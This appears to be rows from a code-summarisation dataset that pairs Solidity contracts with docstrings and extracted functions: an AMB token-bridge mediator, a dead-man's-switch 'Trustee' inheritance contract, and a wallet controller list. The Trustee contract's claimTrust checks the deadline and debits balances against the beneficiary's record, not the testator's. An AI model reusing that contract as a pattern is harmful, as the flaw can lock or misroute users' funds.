* @dev Basic storage and methods needed by mediators to interact with AMB bridge.
*/
contract BasicAMBMediator is Ownable {
bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f; // keccak256(abi.encodePacked("bridgeContract"))
bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880; // keccak256(abi.encodePacked("mediatorContract"))
bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be; // keccak256(abi.encodePacked("requestGasLimit"))
/**
* @dev Throws if caller on the other side is not an associated mediator.
*/
modifier onlyMediator {
require(msg.sender == address(bridgeContract()));
require(messageSender() == mediatorContractOnOtherSide());
_;
}
/**
* @dev Sets the AMB bridge contract address. Only the owner can call this method.
* @param _bridgeContract the address of the bridge contract.
*/
function setBridgeContract(address _bridgeContract) external onlyOwner {
_setBridgeContract(_bridgeContract);
}
/**
* @dev Sets the mediator contract address from the other network. Only the owner can call this method.
* @param _mediatorContract the address of the mediator contract.
*/
function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner {
_setMediatorContractOnOtherSide(_mediatorContract);
}
/**
* @dev Sets the gas limit to be used in the message execution by the AMB bridge on the other network.
* This value can't exceed the parameter maxGasPerTx defined on the AMB bridge.
* Only the owner can call this method.
* @param _requestGasLimit the gas limit for the message execution.
*/
function setRequestGasLimit(uint256 _requestGasLimit) external onlyOwner {
_setRequestGasLimit(_requestGasLimit);
}
/**
* @dev Get the AMB interface for the bridge contract address
* @return AMB interface for the bridge contract address
*/
function bridgeContract() public view returns (IAMB) {
return IAMB(addressStorage[BRIDGE_CONTRACT]);
}
/**
* @dev Tells the mediator contract address from the other network.
* @return the address of the mediator contract.
*/
function mediatorContractOnOtherSide() public view returns (address) {
return addressStorage[MEDIATOR_CONTRACT];
}
/**
* @dev Tells the gas limit to be used in the message execution by the AMB bridge on the other network.
* @return the gas limit for the message execution.
*/
function requestGasLimit() public view returns (uint256) {
return uintStorage[REQUEST_GAS_LIMIT];
}
/**
* @dev Stores a valid AMB bridge contract address.
* @param _bridgeContract the address of the bridge contract.
*/
function _setBridgeContract(address _bridgeContract) internal {
require(AddressUtils.isContract(_bridgeContract));
addressStorage[BRIDGE_CONTRACT] = _bridgeContract;
}
/**
* @dev Stores the mediator contract address from the other network.
* @param _mediatorContract the address of the mediator contract.
*/
function _setMediatorContractOnOtherSide(address _mediatorContract) internal {
addressStorage[MEDIATOR_CONTRACT] = _mediatorContract;
}
/**
* @dev Stores the gas limit to be used in the message execution by the AMB bridge on the other network.
* @param _requestGasLimit the gas limit for the message execution.
*/
function _setRequestGasLimit(uint256 _requestGasLimit) internal {
require(_requestGasLimit <= maxGasPerTx());
uintStorage[REQUEST_GAS_LIMIT] = _requestGasLimit;
}
/**
* @dev Tells the address that generated the message on the other network that is currently being executed by
* the AMB bridge.
* @return the address of the message sender.
*/
function messageSender() internal view returns (address) {
return bridgeContract().messageSender();
}
/**
* @dev Tells the id of the message originated on the other network.
* @return the id of the message originated on the other network.
*/
function messageId() internal view returns (bytes32) {
return bridgeContract().messageId();
}
/**
* @dev Tells the maximum gas limit that a message can use on its execution by the AMB bridge on the other network.
* @return the maximum gas limit value.
*/
function maxGasPerTx() internal view returns (uint256) {
return bridgeContract().maxGasPerTx();
}
}
// File: contracts/upgradeable_contracts/TransferInfoStorage.sol
pragma solidity 0.4.24;
contract TransferInfoStorage is EternalStorage {
/**
* @dev Stores the value of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _value amount of tokens bridged.
*/
function setMessageValue(bytes32 _messageId, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value;
}
/**
* @dev Tells the amount of tokens of a message sent to the AMB bridge.
* @return value representing amount of tokens.
*/
function messageValue(bytes32 _messageId) internal view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))];
}
/**
* @dev Stores the receiver of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _recipient receiver of the tokens bridged.
*/
function setMessageRecipient(bytes32 _messageId, address _recipient) internal {
addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient;
}
/**
* @dev Tells the receiver of a message sent to the AMB bridge.
* @return address of the receiver.
*/
function messageRecipient(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))];
}
/**
* @dev Sets that the message sent to the AMB bridge has been fixed.
* @param _messageId of the message sent to the bridge.
*/
function setMessageFixed(bytes32 _messageId) internal {
boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true;
}
/**
* @dev Tells if a message sent to the AMB bridge has been fixed.
* @return bool indicating the status of the message.
*/
function messageFixed(bytes32 _messageId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))];
}
}
// File: contracts/upgradeable_contracts/TokenBridgeMediator.sol
pragma solidity 0.4.24;
/**
* @title TokenBridgeMediator
* @dev Common mediator functionality to handle operations related to token bridge messages sent to AMB bridge.
*/
contract TokenBridgeMediator is BasicAMBMediator, BasicTokenBridge, TransferInfoStorage {
event FailedMessageFixed(bytes32 indexed messageId, address recipient, uint256 value);
event TokensBridgingInitiated(address indexed sender, uint256 value, bytes32 indexed messageId);
event TokensBridged(address indexed recipient, uint256 value, bytes32 indexed messageId);
/**
* @dev Call AMB bridge to require the invocation of handleBridgedTokens method of the mediator on the other network.
* Store information related to the bridged tokens in case the message execution fails on the other network
* and the action needs to be fixed/rolled back.
* @param _from address of sender, if bridge operation fails, tokens will be returned to this address
* @param _receiver address of receiver on the other side, will eventually receive bridged tokens
* @param _value bridged amount of tokens
*/
function passMessage(address _from, address _receiver, uint256 _value) internal {
bytes4 methodSelector = this.handleBridgedTokens.selector;
bytes memory data = abi.encodeWithSelector(methodSelector, _receiver, _value);
bytes32 _messageId = bridgeContract().requireToPassMessage(
mediatorContractOnOtherSide(),
data,
requestGasLimit()
);
setMessageValue(_messageId, _value);
setMessageRecipient(_messageId, _from);
emit TokensBridgingInitiated(_from, _value, _messageId);
}
/**
* @dev Handles the bridged tokens. Checks that the value is inside the execution limits and invokes the method
* to execute the Mint or Unlock accordingly.
* @param _recipient address that will receive the tokens
* @param _value amount of tokens to be received
*/
function handleBridgedTokens(address _recipient, uint256 _value) external onlyMediator {
if (withinExecutionLimit(_value)) {
addTotalExecutedPerDay(getCurrentDay(), _value);
executeActionOnBridgedTokens(_recipient, _value);
} else {
executeActionOnBridgedTokensOutOfLimit(_recipient, _value);
}
}
/**
* @dev Method to be called when a bridged message execution failed. It will generate a new message requesting to
* fix/roll back the transferred assets on the other network.
* @param _messageId id of the message which execution failed.
*/
function requestFailedMessageFix(bytes32 _messageId) external {
require(!bridgeContract().messageCallStatus(_messageId));
require(bridgeContract().failedMessageReceiver(_messageId) == address(this));
require(bridgeContract().failedMessageSender(_messageId) == mediatorContractOnOtherSide());
bytes4 methodSelector = this.fixFailedMessage.selector;
bytes memory data = abi.encodeWithSelector(methodSelector, _messageId);
bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), data, requestGasLimit());
}
/**
* @dev Handles the request to fix transferred assets which bridged message execution failed on the other network.
* It uses the information stored by passMessage method when the assets were initially transferred
* @param _messageId id of the message which execution failed on the other network.
*/
function fixFailedMessage(bytes32 _messageId) external onlyMediator {
require(!messageFixed(_messageId));
address recipient = messageRecipient(_messageId);
uint256 value = messageValue(_messageId);
setMessageFixed(_messageId);
executeActionOnFixedTokens(recipient, value);
emit FailedMessageFixed(_messageId, recipient, value);
}
/* solcov ignore next */
function executeActionOnBridgedTokensOutOfLimit(address _recipient, uint256 _value) internal;
/* solcov ignore next */
function executeActionOnBridgedTokens(address _recipient, uint256 _value) internal;
/* solcov ignore next */
function executeActionOnFixedTokens(address _recipient, uint256 _value) internal;
}
// File: contracts/upgradeable_contracts/amb_erc677_to_erc677/BasicAMBErc677ToErc677.sol
pragma solidity 0.4.24;
/**
* @title BasicAMBErc677ToErc677
* @dev Common functionality for erc677-to-erc677 mediator intended to work on top of AMB bridge.
*/
contract BasicAMBErc677ToErc677 is
Initializable,
ReentrancyGuard,
Upgradeable,
Claimable,
VersionableBridge,
BaseOverdrawManagement,
BaseERC677Bridge,
TokenBridgeMediator
{
function initialize(
address _bridgeContract,
address _mediatorContract,
address _erc677token,
uint256[3] _dailyLimitMaxPerTxMinPerTxArray, // [ 0 = _dailyLimit, 1 = _maxPerTx, 2 = _minPerTx ]
uint256[2] _executionDailyLimitExecutionMaxPerTxArray, // [ 0 = _executionDailyLimit, 1 = _executionMaxPerTx ]
uint256 _requestGasLimit,
int256 _decimalShift,
address _owner
) public onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setMediatorContractOnOtherSide(_mediatorContract);
setErc677token(_erc677token);
_setLimits(_dailyLimitMaxPerTxMinPerTxArray);
_setExecutionLimits(_executionDailyLimitExecutionMaxPerTxArray);
_setRequestGasLimit(_requestGasLimit);
_setDecimalShift(_decimalShift);
_setOwner(_owner);
setInitialize();
return isInitialized();
}
/**
* @dev Public getter for token contract.
* @return address of the used token contract
*/
function erc677token() public view returns (ERC677) {
return _erc677token();
}
function bridgeContractOnOtherSide() internal view returns (address) {
return mediatorContractOnOtherSide();
}
/**
* @dev Initiates the bridge operation that will lock the amount of tokens transferred and mint the tokens on
* the other network. The user should first call Approve method of the ERC677 token.
* @param _receiver address that will receive the minted tokens on the other network.
* @param _value amount of tokens to be transferred to the other network.
*/
function relayTokens(address _receiver, uint256 _value) external {
// This lock is to prevent calling passMessage twice if a ERC677 token is used.
// When transferFrom is called, after the transfer, the ERC677 token will call onTokenTransfer from this contract
// which will call passMessage.
require(!lock());
ERC677 token = erc677token();
address to = address(this);
require(withinLimit(_value));
addTotalSpentPerDay(getCurrentDay(), _value);
setLock(true);
token.transferFrom(msg.sender, to, _value);
setLock(false);
bridgeSpecificActionsOnTokenTransfer(token, msg.sender, _value, abi.encodePacked(_receiver));
}
function onTokenTransfer(address _from, uint256 _value, bytes _data) external returns (bool) {
ERC677 token = erc677token();
require(msg.sender == address(token));
if (!lock()) {
require(withinLimit(_value));
addTotalSpentPerDay(getCurrentDay(), _value);
}
bridgeSpecificActionsOnTokenTransfer(token, _from, _value, _data);
return true;
}
function getBridgeInterfacesVersion() external pure returns (uint64 major, uint64 minor, uint64 patch) {
return (1, 4, 0);
}
function getBridgeMode() external pure returns (bytes4 _data) {
return 0x76595b56; // bytes4(keccak256(abi.encodePacked("erc-to-erc-amb")))
}
/**
* @dev Execute the action to be performed when the bridge tokens are out of execution limits.
* @param _recipient address intended to receive the tokens
* @param _value amount of tokens to be received
*/
function executeActionOnBridgedTokensOutOfLimit(address _recipient, uint256 _value) internal {
bytes32 _messageId = messageId();
address recipient;
uint256 value;
(recipient, value) = txAboveLimits(_messageId);
require(recipient == address(0) && value == 0);
setOutOfLimitAmount(outOfLimitAmount().add(_value));
setTxAboveLimits(_recipient, _value, _messageId);
emit MediatorAmountLimitExceeded(_recipient, _value, _messageId);
}
/**
* @dev Fixes locked tokens, that were out of execution limits during the call to handleBridgedTokens
* @param messageId reference for bridge operation that was out of execution limits
* @param unlockOnOtherSide true if fixed tokens should be unlocked to the other side of the bridge
* @param valueToUnlock unlocked amount of tokens, should be less than saved txAboveLimitsValue.
* Should be less than maxPerTx(), if tokens need to be unlocked on the other side.
*/
function fixAssetsAboveLimits(bytes32 messageId, bool unlockOnOtherSide, uint256 valueToUnlock)
external
onlyIfUpgradeabilityOwner
{
(address recipient, uint256 value) = txAboveLimits(messageId);
require(recipient != address(0) && value > 0 && value >= valueToUnlock);
setOutOfLimitAmount(outOfLimitAmount().sub(valueToUnlock));
uint256 pendingValue = value.sub(valueToUnlock);
setTxAboveLimitsValue(pendingValue, messageId);
emit AssetAboveLimitsFixed(messageId, valueToUnlock, pendingValue);
if (unlockOnOtherSide) {
require(valueToUnlock <= maxPerTx());
passMessage(recipient, recipient, valueToUnlock);
}
}
}
// File: contracts/upgradeable_contracts/MediatorBalanceStorage.sol
pragma solidity 0.4.24;
/**
* @title MediatorBalanceStorage
* @dev Storage helpers for the mediator balance tracking.
*/
contract MediatorBalanceStorage is EternalStorage {
bytes32 internal constant MEDIATOR_BALANCE = 0x3db340e280667ee926fa8c51e8f9fcf88a0ff221a66d84d63b4778127d97d139; // keccak256(abi.encodePacked("mediatorBalance"))
/**
* @dev Tells the expected mediator balance.
* @return the current expected mediator balance.
*/
function mediatorBalance() public view returns (uint256) {
return uintStorage[MEDIATOR_BALANCE];
}
/**
* @dev Sets the expected mediator balance of the contract.
* @param _balance the new expected mediator balance value.
*/
function _setMediatorBalance(uint256 _balance) internal {
uintStorage[MEDIATOR_BALANCE] = _balance;
}
}
// File: contracts/upgradeable_contracts/amb_erc677_to_erc677/ForeignAMBErc677ToErc677.sol
pragma solidity 0.4.24;
/**
* @title ForeignAMBErc677ToErc677
* @dev Foreign side implementation for erc677-to-erc677 mediator intended to work on top of AMB bridge.
* It is designed to be used as an implementation contract of EternalStorageProxy contract.
*/
contract ForeignAMBErc677ToErc677 is BasicAMBErc677ToErc677, MediatorBalanceStorage {
using SafeERC20 for ERC677;
/**
* @dev Executes action on the request to withdraw tokens relayed from the other network
* @param _recipient address of tokens receiver
* @param _value amount of bridged tokens
*/
function executeActionOnBridgedTokens(address _recipient, uint256 _value) internal {
uint256 value = _unshiftValue(_value);
bytes32 _messageId = messageId();
_setMediatorBalance(mediatorBalance().sub(value));
erc677token().safeTransfer(_recipient, value);
emit TokensBridged(_recipient, value, _messageId);
}
/**
* @dev Initiates the bridge operation that will lock the amount of tokens transferred and mint the tokens on
* the other network. The user should first call Approve method of the ERC677 token.
* @param _receiver address that will receive the minted tokens on the other network.
* @param _value amount of tokens to be transferred to the other network.
*/
function relayTokens(address _receiver, uint256 _value) external {
// This lock is to prevent calling passMessage twice if a ERC677 token is used.
// When transferFrom is called, after the transfer, the ERC677 token will call onTokenTransfer from this contract
// which will call passMessage.
require(!lock());
ERC677 token = erc677token();
require(withinLimit(_value));
addTotalSpentPerDay(getCurrentDay(), _value);
setLock(true);
token.safeTransferFrom(msg.sender, _value);
setLock(false);
bridgeSpecificActionsOnTokenTransfer(token, msg.sender, _value, abi.encodePacked(_receiver));
}
/**
* @dev Allows to send to the other network the amount of locked tokens that can be forced into the contract
* without the invocation of the required methods.
* @param _receiver the address that will receive the tokens on the other network
*/
function fixMediatorBalance(address _receiver) external onlyIfUpgradeabilityOwner validAddress(_receiver) {
uint256 balance = _erc677token().balanceOf(address(this));
uint256 expectedBalance = mediatorBalance();
require(balance > expectedBalance);
uint256 diff = balance - expectedBalance;
uint256 available = maxAvailablePerTx();
require(available > 0);
if (diff > available) {
diff = available;
}
addTotalSpentPerDay(getCurrentDay(), diff);
_setMediatorBalance(expectedBalance.add(diff));
passMessage(_receiver, _receiver, diff);
}
/**
* @dev Executes action on deposit of bridged tokens
* @param _from address of tokens sender
* @param _value requsted amount of bridged tokens
* @param _data alternative receiver, if specified
*/
function bridgeSpecificActionsOnTokenTransfer(
ERC677, /* _token */
address _from,
uint256 _value,
bytes _data
) internal {
if (!lock()) {
_setMediatorBalance(mediatorBalance().add(_value));
passMessage(_from, chooseReceiver(_from, _data), _value);
}
}
/**
* @dev Unlock back the amount of tokens that were bridged to the other network but failed.
* @param _recipient address that will receive the tokens
* @param _value amount of tokens to be received
*/
function executeActionOnFixedTokens(address _recipient, uint256 _value) internal {
_setMediatorBalance(mediatorBalance().sub(_value));
erc677token().safeTransfer(_recipient, _value);
}
/**
* @dev Allows to transfer any locked token on this contract that is not part of the bridge operations.
* @param _token address of the token, if it is not provided, native tokens will be transferred.
* @param _to address that will receive the locked tokens on this contract.
*/
function claimTokens(address _token, address _to) external onlyIfUpgradeabilityOwner {
require(_token != address(_erc677token()));
claimValues(_token, _to);
}
}
|
Internal function for setting the decimal shift for bridge operations. Decimal shift can be positive, negative, or equal to zero. It has the following meaning: N tokens in the foreign chain are equivalent to N pow(10, shift) tokens on the home side. _shift new value of decimal shift./ since 1 wei 1077 > 2255, it does not make any sense to use higher values
|
function _setDecimalShift(int256 _shift) internal {
require(_shift > -77 && _shift < 77);
uintStorage[DECIMAL_SHIFT] = uint256(_shift);
}
| 52,062
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Timers.sol";
contract Trustee is Ownable, ReentrancyGuard {
using Timers for Timers.Timestamp;
/**
* @dev Emitted when `Trust` is added from `testator` to `beneficiary`.
*/
event TrustCreated(
address indexed testator,
address indexed beneficiary,
uint index
);
/**
* @dev Emitted when `Testator` canceled a `trust`.
*/
event TrustCanceled(address indexed testator, uint index);
/**
* @dev Emitted when `Beneficiary` claim a `trust`.
*/
event TrustClaimed(address indexed beneficiary, uint index);
/**
* @dev Emitted when `Testator` does a check-in.
*/
event CheckInDeadlineUpdated(address testator, uint timestamp);
/**
* @dev Emitted when `Testator` updates how often it will do a check-in.
*/
event CheckInFrequencyUpdated(address testator, uint time);
// default time in days to set check in frequency
uint public constant DEFAULT_CHECK_IN_FREQUENCY_IN_DAYS = 30 days;
// counters
uint public totalTestators = 0;
uint public totalBeneficiaries = 0;
uint public totalBalanceTrusted = 0;
// custody fee = 0.3% by default
uint public custodyFee = 3;
// collection of trusts
Trust[] private _trusts;
// testators addresses are mapped to the dataType that must be unique
mapping(address => Testator) private _testators;
mapping(address => uint[]) private _testatorTrusts;
// beneficiaries can have to multiple trusts from different testators
mapping(address => uint[]) private _beneficiaryTrusts;
// trust statusses
enum TrustState {
PENDING,
CLAIMED,
CANCELED
}
// trust
struct Trust {
uint id;
address testator;
address beneficiary;
uint balance;
uint timestamp;
TrustState state;
}
struct Testator {
// check-in must be done before this time
Timers.Timestamp checkInDeadline;
// how often a check-in is needed
uint checkInFrequencyInDays;
// all beneficiaries related to testator
uint balanceInTrusts;
}
receive() external payable {}
fallback() external payable {
require(msg.data.length == 0);
}
/** Function Modifiers
*/
/**
* @dev Throws if called by any account that is not a testator.
*/
modifier isTestator() {
require(
_testatorTrusts[msg.sender].length > 0,
"You need to add a beneficiary first."
);
_;
}
/**
* @dev Throws if called by any account that is not a beneficiary of the
* especified trust.
*/
modifier trustBelongs(uint _trustIndex, uint[] memory array) {
bool found = false;
for (uint i = 0; i < array.length; i++) {
if (array[i] == _trustIndex) {
found = true;
break;
}
}
require(found == true, "Trust does not belong.");
_;
}
modifier trustIsPending(uint _trustIndex) {
require(
_trusts[_trustIndex].state == TrustState.PENDING,
"Trust is already disabled."
);
_;
}
/**
* @dev Throws if called by any account that is not a beneficiary.
*/
modifier isBeneficiary() {
require(
_beneficiaryTrusts[msg.sender].length > 0,
"You are not a beneficiary."
);
_;
}
/**
* @dev Throws if called by testator and the beneficiary is not unique for him.
*/
modifier isUnique(address _beneficiary) {
bool found = false;
for (uint i = 0; i < _testatorTrusts[msg.sender].length; i++) {
uint _trustIndex = _testatorTrusts[msg.sender][i];
if (_trusts[_trustIndex].beneficiary == _beneficiary) {
found = true;
break;
}
}
require(found == false, "Beneficiary must be unique.");
_;
}
/** Helper Functions
*/
function _daysToSeconds(uint _days) internal pure returns (uint) {
// 24 hours in a day * 60 minutes in an hour * 60 seconds in a minute
return _days * (24 * 60 * 60);
}
/**
* @dev Sets checkInDeadline property for Testator.
*/
function _setCheckInDeadline() internal {
uint _now = block.timestamp;
if (_testators[msg.sender].checkInFrequencyInDays <= 0) {
_setCheckInFrequencyInDays(0);
}
_testators[msg.sender].checkInDeadline.setDeadline(
uint64(_now + _testators[msg.sender].checkInFrequencyInDays)
);
emit CheckInDeadlineUpdated(
msg.sender,
_testators[msg.sender].checkInDeadline.getDeadline()
);
}
/**
* @dev Returns the value that will be transfer over the beneficiary at
* release time.
* @param _amount amount to be relased.
*/
function _valueAfterFees(uint _amount) internal view returns (uint) {
// 1000 constant value used to calculate custody percentage to be
// retained.
return _amount - (_amount * custodyFee / 1000);
}
/**
* @dev Sets default check-in frequency for Testator.
* @param _days amount of days required before trust become claimable
*/
function _setCheckInFrequencyInDays(uint _days) internal {
uint newFrequency = _days == 0
? DEFAULT_CHECK_IN_FREQUENCY_IN_DAYS
: _daysToSeconds(_days);
_testators[msg.sender].checkInFrequencyInDays = newFrequency;
emit CheckInFrequencyUpdated(msg.sender, newFrequency);
}
/** Owner Functions */
/**
* @dev Sets custody fee that will be retained as reward for keeping the
* assets locked. This value is divided by 1000 to allow percentages of
* 0.3% per example which is equals to 3/1000. See _valueAfterFees function.
* @param _fee amount to be retained.
*/
function setCustodyFee(uint _fee) public onlyOwner {
custodyFee = _fee;
}
/** Testator Functions */
/**
* @notice Adds a beneficiary with it's Trust if it doesn't have one
* @dev Turns the caller into a Testator by creating a Trust and relating
* @dev the beneficiary with the Trust. Also asociates the Beneficiary with
* @dev it's Testator. Updates deadline and initialize checkInFrequencyInDays
* @dev property of the Testator if nothing is configured.
* @param _beneficiary is the address that will received the trust assets.
*/
function createTrust(address _beneficiary, uint amount)
public
payable
isUnique(_beneficiary)
{
require(msg.value >= amount, "Not enough balance.");
// id will always be the length of trusts array
uint trustIndex = _trusts.length;
// add trust to array
_trusts.push(
Trust(
trustIndex,
msg.sender,
_beneficiary,
msg.value,
block.timestamp,
TrustState.PENDING
)
);
// get trust index
totalBalanceTrusted += msg.value;
// update testator properties
if (_testatorTrusts[msg.sender].length == 0) totalTestators++;
_testators[msg.sender].balanceInTrusts += msg.value;
_testatorTrusts[msg.sender].push(trustIndex);
_setCheckInDeadline();
// update beneficiary
if (_beneficiaryTrusts[_beneficiary].length == 0) totalBeneficiaries++;
_beneficiaryTrusts[_beneficiary].push(trustIndex);
emit TrustCreated(msg.sender, _beneficiary, trustIndex);
}
/**
* @notice Set Trust state to CANCELED.
* @dev Encapsulates updating trust to CANCELED and releasing the assets to
* @dev Testator.
* @param _id is the index of the trust that will be updated.
*/
function cancelTrust(uint _id)
public
isTestator
trustIsPending(_id)
trustBelongs(_id, _testatorTrusts[msg.sender])
nonReentrant
{
uint amount = _trusts[_id].balance;
_testators[msg.sender].balanceInTrusts -= amount;
// update state
// remove from beneficiary
address beneficiary = _trusts[_id].beneficiary;
uint _length = _beneficiaryTrusts[beneficiary].length;
for (uint i = 0; i < _length; i++) {
if (_beneficiaryTrusts[beneficiary][i] == _id) {
_beneficiaryTrusts[beneficiary][i] = _beneficiaryTrusts[
beneficiary
][_length - 1];
_beneficiaryTrusts[beneficiary].pop();
break;
}
}
// update trust state
_trusts[_id].beneficiary = address(0);
_trusts[_id].state = TrustState.CANCELED;
totalBalanceTrusted -= amount;
_trusts[_id].balance = 0;
_setCheckInDeadline();
// send assets to testator
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Transfer Failed");
emit TrustCanceled(msg.sender, _id);
}
/**
* @notice Retrieve all trust realted to Testator.
* @dev It will access the testators mapping and build the trusts list.
* @return trusts for testators.
*/
function testatorTrusts()
external
view
isTestator
returns (Trust[] memory)
{
Trust[] memory trusts = new Trust[](_testatorTrusts[msg.sender].length);
for (uint i = 0; i < _testatorTrusts[msg.sender].length; i++) {
trusts[i] = (_trusts[_testatorTrusts[msg.sender][i]]);
}
return trusts;
}
/**
* @notice Retrieves testator details.
* @return Testator details as object.
*/
function testatorDetails()
external
view
isTestator
returns (Testator memory)
{
return _testators[msg.sender];
}
/**
* @notice Register a check-in to keep assets locked for beneficiaries.
* @notice Failing to check-in enables all beneficiaries to claim assets.
* @dev This is a stand alone function just to affect the check-in property
* @dev of the Testator. Needs to be abstracted to a helper function to
* @dev enable the possibility to be called from other functions as well.
*/
function setCheckInDeadline() external isTestator {
_setCheckInDeadline();
}
/**
* @notice Amount of days to do a check-in. Failing to check-in enables
* @notice beneficiaries to claim the assets. A minimum of 30 days is
* @notice required which is also the default amount if not configured.
* @dev Days needs to be converted to seconds in order to do calculations.
* @param _days amount of days required to do a check-in.
*/
function setCheckInFrequencyInDays(uint _days) external isTestator {
require(_days >= 30, "At least 30 days are require between check-ins.");
_setCheckInFrequencyInDays(_days);
_setCheckInDeadline();
}
/** Beneficiary Functions
*/
/**
* @notice List all trusts that are related to the caller where caller
* @notice is the beneficiary.
* @dev This function is the reason why _beneficiaryTrusts storage exist.
* @return trusts related to beneficiary.
*/
function beneficiaryTrusts()
external
view
isBeneficiary
returns (Trust[] memory)
{
Trust[] memory trusts = new Trust[](
_beneficiaryTrusts[msg.sender].length
);
for (uint i = 0; i < _beneficiaryTrusts[msg.sender].length; i++) {
trusts[i] = (_trusts[_beneficiaryTrusts[msg.sender][i]]);
}
return trusts;
}
/**
* @notice Set Trust state to CLAIMED.
* @dev Encapsulates updating trust to CLAIMED and releasing the assets to
* Beneficiary. This is true only if checkInDeadline has expired.
* @param _id is the index of the trust that will be updated.
*/
function claimTrust(uint _id)
public
isBeneficiary
trustIsPending(_id)
trustBelongs(_id, _beneficiaryTrusts[msg.sender])
nonReentrant
{
require(
_testators[msg.sender].checkInDeadline.isExpired(),
"Trust can not be claimed yet."
);
uint amount = _trusts[_id].balance;
_testators[msg.sender].balanceInTrusts -= amount;
// update state
_trusts[_id].state = TrustState.CLAIMED;
totalBalanceTrusted -= amount;
_trusts[_id].balance = 0;
// send assets to beneficiary
address payable beneficiary = payable(_trusts[_id].beneficiary);
(bool sent, ) = beneficiary.call{value: _valueAfterFees(amount)}("");
require(sent, "Transfer Failed");
emit TrustClaimed(msg.sender, _id);
}
}
|
Adds a beneficiary with it's Trust if it doesn't have one Turns the caller into a Testator by creating a Trust and relating the beneficiary with the Trust. Also asociates the Beneficiary with it's Testator. Updates deadline and initialize checkInFrequencyInDays property of the Testator if nothing is configured. _beneficiary is the address that will received the trust assets./ id will always be the length of trusts array add trust to array get trust index update testator properties update beneficiary
|
function createTrust(address _beneficiary, uint amount)
public
payable
isUnique(_beneficiary)
{
require(msg.value >= amount, "Not enough balance.");
uint trustIndex = _trusts.length;
_trusts.push(
Trust(
trustIndex,
msg.sender,
_beneficiary,
msg.value,
block.timestamp,
TrustState.PENDING
)
);
totalBalanceTrusted += msg.value;
if (_testatorTrusts[msg.sender].length == 0) totalTestators++;
_testators[msg.sender].balanceInTrusts += msg.value;
_testatorTrusts[msg.sender].push(trustIndex);
_setCheckInDeadline();
if (_beneficiaryTrusts[_beneficiary].length == 0) totalBeneficiaries++;
_beneficiaryTrusts[_beneficiary].push(trustIndex);
emit TrustCreated(msg.sender, _beneficiary, trustIndex);
}
| 12,571,213
|
/**
* The Consumer Contract Wallet
* Copyright (C) 2018 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.4.25;
/// @title The Controller interface provides access to an external list of controllers.
interface IController {
function isController(address) external view returns (bool);
}
/// @title Controller stores a list of controller addresses that can be used for authentication in other contracts.
contract Controller is IController {
event AddedController(address _sender, address _controller);
event RemovedController(address _sender, address _controller);
mapping (address => bool) private _isController;
uint private _controllerCount;
/// @dev Constructor initializes the list of controllers with the provided address.
/// @param _account address to add to the list of controllers.
constructor(address _account) public {
_addController(_account);
}
/// @dev Checks if message sender is a controller.
modifier onlyController() {
require(isController(msg.sender), "sender is not a controller");
_;
}
/// @dev Add a new controller to the list of controllers.
/// @param _account address to add to the list of controllers.
function addController(address _account) external onlyController {
_addController(_account);
}
/// @dev Remove a controller from the list of controllers.
/// @param _account address to remove from the list of controllers.
function removeController(address _account) external onlyController {
_removeController(_account);
}
/// @return true if the provided account is a controller.
function isController(address _account) public view returns (bool) {
return _isController[_account];
}
/// @return the current number of controllers.
function controllerCount() public view returns (uint) {
return _controllerCount;
}
/// @dev Internal-only function that adds a new controller.
function _addController(address _account) internal {
require(!_isController[_account], "provided account is already a controller");
_isController[_account] = true;
_controllerCount++;
emit AddedController(msg.sender, _account);
}
/// @dev Internal-only function that removes an existing controller.
function _removeController(address _account) internal {
require(_isController[_account], "provided account is not a controller");
require(_controllerCount > 1, "cannot remove the last controller");
_isController[_account] = false;
_controllerCount--;
emit RemovedController(msg.sender, _account);
}
}
/**
* BSD 2-Clause License
*
* Copyright (c) 2018, True Names Limited
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
